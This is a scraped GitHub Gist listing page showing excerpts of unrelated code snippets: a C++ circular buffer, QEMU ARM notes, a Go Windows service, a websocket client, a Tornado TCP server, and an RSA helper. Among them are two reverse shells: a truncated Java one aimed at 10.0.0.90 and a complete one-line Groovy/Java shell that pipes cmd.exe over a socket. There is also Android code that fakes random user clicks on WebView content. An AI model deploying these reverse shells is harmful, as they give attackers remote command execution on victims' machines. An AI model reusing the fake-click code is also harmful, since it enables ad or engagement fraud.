Skip to content

Instantly share code, notes, and snippets.

@edwintcloud
edwintcloud / circular_buffer.cpp
Created May 7, 2019 18:40
Circular Buffer in C++
//===================================================================
// File: circular_buffer.cpp
//
// Desc: A Circular Buffer implementation in C++.
//
// Copyright © 2019 Edwin Cloud. All rights reserved.
//
//===================================================================
//-------------------------------------------------------------------
@luk6xff
luk6xff / ARMonQEMUforDebianUbuntu.md
Last active November 6, 2024 11:01 — forked from bruce30262/ARMDebianUbuntu.md
Emulating ARM with QEMU on Debian/Ubuntu

You might want to read this to get an introduction to armel vs armhf.

If the below is too much, you can try Ubuntu-ARMv7-Qemu but note it contains non-free blobs.

Running ARM programs under linux (without starting QEMU VM!)

First, cross-compile user programs with GCC-ARM toolchain. Then install qemu-arm-static so that you can run ARM executables directly on linux

If there's no qemu-arm-static in the package list, install qemu-user-static instead

@mholt
mholt / main.go
Created October 16, 2018 14:25 — forked from KatelynHaworth/main.go
Example of run an interactive process on the current user from system service on windows (Golang)
package main
import (
"github.com/kardianos/service"
"log"
"flag"
)
type Service struct {}
@caseydunham
caseydunham / C.java
Created October 3, 2017 13:42
Java Reverse Shell
// Not sure where I originally got this from.
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class C {
public C() throws Exception {
String host="10.0.0.90";
@cute
cute / ws-client.cpp
Created June 25, 2017 23:27 — forked from optman/ws-client.cpp
libevent websocket client test
#include <event2/bufferevent.h>
#include <event2/buffer.h>
#include <event2/event.h>
#include <event2/dns.h>
#include <arpa/inet.h>
#include <iostream>
using namespace std;
@rms1000watt
rms1000watt / python-tornado-tcp-server.py
Created September 6, 2016 21:14
Python Tornado TCP Server
# TAKEN FROM: http://alexapps.net/python-tornado-simple-tcp-server
import socket
import tornado.gen
import tornado.ioloop
import tornado.iostream
import tornado.tcpserver
class SimpleTcpClient(object):
@jiangecho
jiangecho / SplashActivity.java
Created April 29, 2016 03:42
simulate user clicks on the content of webview
int X_MAX = 412;
int Y_MAX = 50;
int x, y;
x = random.nextInt(X_MAX);
y = random.nextInt(Y_MAX);
// String htmlEventJs = "var ev = document.createEvent(\"HTMLEvents\"); " +
// "var el = document.elementFromPoint(%d,%d); " +
// "ev.initEvent('click',true,true);" +
// " el.dispatchEvent(ev);";
@subintp
subintp / encryptor.py
Created March 23, 2016 05:54
RSA/ECB with PKCS1 padding in Python
import rsa
import base64
# modulus in integer
MODULUS = 123456789996582395910301286053968077124788323801012630967456380836472396333396466272319708473453610663848909708214595391668878270127153659315097128748348977528953482874935452127643776505027944666257946919553474879512809890824078158244248097149714260265207481163611166304138228724039676901039297181889888815151
# exponent in integer
EXPONENT = 65537
PUBLIC_KEY = rsa.PublicKey(MODULUS, EXPONENT)
@frohoff
frohoff / revsh.groovy
Created March 2, 2016 18:55
Pure Groovy/Java Reverse Shell
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();